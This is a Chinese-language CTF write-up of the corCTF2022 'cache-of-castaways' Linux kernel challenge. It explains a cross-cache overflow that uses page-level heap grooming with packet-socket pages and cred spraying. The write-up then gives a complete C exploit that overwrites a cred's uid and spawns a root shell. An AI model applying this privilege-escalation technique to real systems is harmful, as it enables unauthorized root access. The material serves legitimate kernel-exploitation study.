【Page-level Heap Fengshui -- Cross-Cache Overflow】corCTF2022-cache-of-castaways

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前言

什么叫 Cross Cache 呢？其实就是字面意思，我们知道内核中的大部分结构体都有自己的专属 slab 内存池。那现在我们可以想象一下这个场景，我们拥有一个特定 kmem-cache 的溢出漏洞，那么我们该如何利用呢？

程序分析

启动脚本不用看了，该开的保护都开了。而作者将 config 给了我们，所以我们可以看下部分编译选项。

# CONFIG_SLAB is not set
# CONFIG_SLAB_MERGE_DEFAULT is not set
CONFIG_SLAB_FREELIST_RANDOM=y
CONFIG_SLAB_FREELIST_HARDENED=y
CONFIG_MEMCG=y
CONFIG_MEMCG_KMEM=y
# CONFIG_DEBUG_CREDENTIALS is not set

驱动程序单独创建了一个 kmem-cache，而该 kmem-cache 是独立的，不会与其他 kmem-cache 合并，且大小为 512 字节。

ioctl 函数中有增加堆块和修改堆块的功能

修改堆块时，有白给了 6 字节溢出

漏洞利用

上面的堆块都是针对 castaway_cache 的 object，而该 cache 是与其他 cache 隔离的，所以从 slub 层面去考虑，我们会发现无法利用该漏洞。

而我们知道 slub 是从伙伴系统申请的内存，然后在划分成一个一个的 object 去使用。而伙伴系统的内存是连续的，所以我们可以通过页级堆风水去形成如下内存布局（图片来自wiki）：

然后就形成了 cross-cache overflow 啦。

这里 victim object 选择谁呢？6字节我们是可以修改 cred 的 uid 的，所以直接打 cred。

我们可以知道 CONFIG_DEBUG_CREDENTIALS 这个编译选项是没有设置的，所以可以直接溢出到 uid 的低两个字节，但是这是足够的。

其他的见 ctf-wiki 即可，也没啥好说的了，也不想浪费时间去写一些垃圾。

exp：

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <ctype.h>
#include <time.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/socket.h>#define PACKET_VERSION 10
#define PACKET_TX_RING 13#define PGV_PAGE_NUM 1000#define CRED_SPRAY_NUM 1066
#define VUL_OBJ_NUM 400
#define VUL_OBJ_SIZE 512int fd;
int cmd_pipe_req[2], cmd_pipe_reply[2], check_root_pipe[2];
char binsh_str[] = "/bin/sh";
char* shell_args[] = { binsh_str, NULL };
char buf[1];
struct timespec timer = {.tv_sec = 23535670,.tv_nsec = 0,
};struct node {size_t idx;size_t size;char* ptr;
};void add()
{ioctl(fd, 0xCAFEBABE, NULL);
}void edit(size_t idx, size_t size, char* ptr)
{struct node n = { .idx = idx, .size = size, .ptr = ptr };ioctl(fd, 0xF00DBABE, &n);
}void err_exit(char *msg)
{printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);sleep(5);exit(EXIT_FAILURE);
}void info(char *msg)
{printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}void line(char *msg)
{printf("\033[34m\033[1m\n[*] %s\n\033[0m", msg);
}void hexx(char *msg, size_t value)
{printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf("  %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");}printf("   ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}/* bind the process to specific core */
void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}struct tpacket_req {unsigned int tp_block_size;unsigned int tp_block_nr;unsigned int tp_frame_size;unsigned int tp_frame_nr;
};enum tpacket_versions {TPACKET_V1,TPACKET_V2,TPACKET_V3,
};/* each allocation is (size * nr) bytes, aligned to PAGE_SIZE */
struct pgv_page_request {int idx;int cmd;unsigned int size;unsigned int nr;
};enum {CMD_ALLOC_PAGE,CMD_FREE_PAGE,CMD_EXIT,
};/* create an isolate namespace for pgv */
void unshare_setup(void)
{char edit[0x100];int tmp_fd;unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET);tmp_fd = open("/proc/self/setgroups", O_WRONLY);write(tmp_fd, "deny", strlen("deny"));close(tmp_fd);tmp_fd = open("/proc/self/uid_map", O_WRONLY);snprintf(edit, sizeof(edit), "0 %d 1", getuid());write(tmp_fd, edit, strlen(edit));close(tmp_fd);tmp_fd = open("/proc/self/gid_map", O_WRONLY);snprintf(edit, sizeof(edit), "0 %d 1", getgid());write(tmp_fd, edit, strlen(edit));close(tmp_fd);
}/* create a socket and alloc pages, return the socket fd */
int create_socket_and_alloc_pages(unsigned int size, unsigned int nr)
{struct tpacket_req req;int socket_fd, version;int ret;socket_fd = socket(AF_PACKET, SOCK_RAW, PF_PACKET);if (socket_fd < 0) {printf("[x] failed at socket(AF_PACKET, SOCK_RAW, PF_PACKET)\n");ret = socket_fd;goto err_out;}version = TPACKET_V1;ret = setsockopt(socket_fd, SOL_PACKET, PACKET_VERSION,&version, sizeof(version));if (ret < 0) {printf("[x] failed at setsockopt(PACKET_VERSION)\n");goto err_setsockopt;}memset(&req, 0, sizeof(req));req.tp_block_size = size;req.tp_block_nr = nr;req.tp_frame_size = 0x1000;req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size;ret = setsockopt(socket_fd, SOL_PACKET, PACKET_TX_RING, &req, sizeof(req));if (ret < 0) {printf("[x] failed at setsockopt(PACKET_TX_RING)\n");goto err_setsockopt;}return socket_fd;err_setsockopt:close(socket_fd);
err_out:return ret;
}/* parent call it to send command of allocation to child */
int alloc_page(int idx, unsigned int size, unsigned int nr)
{struct pgv_page_request req = {.idx = idx,.cmd = CMD_ALLOC_PAGE,.size = size,.nr = nr,};int ret;write(cmd_pipe_req[1], &req, sizeof(struct pgv_page_request));read(cmd_pipe_reply[0], &ret, sizeof(ret));return ret;
}/* parent call it to send command of freeing to child */
int free_page(int idx)
{struct pgv_page_request req = {.idx = idx,.cmd = CMD_FREE_PAGE,};int ret;write(cmd_pipe_req[1], &req, sizeof(req));read(cmd_pipe_reply[0], &ret, sizeof(ret));return ret;
}/* child thread's handler for commands from the pipe */
void spray_cmd_handler(void)
{struct pgv_page_request req;int socket_fd[PGV_PAGE_NUM];int ret;/* create an isolate namespace*/unshare_setup();/* handler request */do {read(cmd_pipe_req[0], &req, sizeof(req));if (req.cmd == CMD_ALLOC_PAGE) {ret = create_socket_and_alloc_pages(req.size, req.nr);socket_fd[req.idx] = ret;} else if (req.cmd == CMD_FREE_PAGE) {ret = close(socket_fd[req.idx]);} else {printf("[x] invalid request: %d\n", req.cmd);}write(cmd_pipe_reply[1], &ret, sizeof(ret));} while (req.cmd != CMD_EXIT);
}__attribute__((naked)) int __clone(int flags, int (*fn)(void*))
{/*res = clone(flags, 0, 0, 0, 0, 0)if (res == 0) fn();else return;*/__asm__ volatile("mov r15, rsi;""xor rsi, rsi;""xor rdx, rdx;""xor r8,  r8;""xor r9,  r9;""xor r10, r10;""mov rax, 56;""syscall;""cmp rax, 0;""je CHILD;""ret;""CHILD:""jmp r15;");
}int wait_for_root(void* args)
{/*read(check_root_pipe[0], buf, 1); <== 等待检查信号if (getuid() == 0) execve("/bin/sh", args, NULL);else return;*/__asm__ volatile("lea rax, [check_root_pipe];""xor rdi, rdi;""mov edi, dword ptr [rax];""mov rsi, buf;""mov rdx, 1;""xor rax, rax;""syscall;""mov rax, 102;""syscall;""cmp rax, 0;""jne failed;""lea rdi, [binsh_str];""lea rsi, [shell_args];""xor rdx, rdx;""mov rax, 59;""syscall;""failed:""lea rdi, [timer];""xor rsi, rsi;""mov rax, 35;""syscall;");return 0;
}int main(int argc, char** argv, char** env)
{char buffer[0x1000];bind_core(0);fd = open("/dev/castaway", O_RDWR);if (fd < 0) err_exit("open /dev/castaway");pipe(cmd_pipe_req);pipe(cmd_pipe_reply);pipe(check_root_pipe);if (!fork()){spray_cmd_handler();exit(EXIT_SUCCESS);}info("STEP.I Spray pgv pages");for (int i = 0; i < PGV_PAGE_NUM; i++)if (alloc_page(i, 0x1000, 1) < 0)err_exit("alloc_page");info("STEP.II Free for cred pages");for (int i = 1; i < PGV_PAGE_NUM; i += 2) free_page(i);info("STEP.III Spray cred to fetch pages");for (int i = 0; i < CRED_SPRAY_NUM; i++)if (__clone(CLONE_FILES|CLONE_FS|CLONE_VM|CLONE_SIGHAND, wait_for_root) < 0)err_exit("__clone");info("STEP.IV Free for vulnerable pages");for (int i = 0; i < PGV_PAGE_NUM; i += 2) free_page(i);info("STEP.V Triger overflow write 6 bytes");memset(buffer, '\0', 0x1000);*(uint32_t*)&buffer[VUL_OBJ_SIZE-6] = 1;for (int i = 0; i < VUL_OBJ_NUM; i++){add();edit(i, VUL_OBJ_SIZE, buffer);}info("CHILD PROCESS CHECK");write(check_root_pipe[1], buffer, CRED_SPRAY_NUM);sleep(23535670);return 0;
}

效果如下：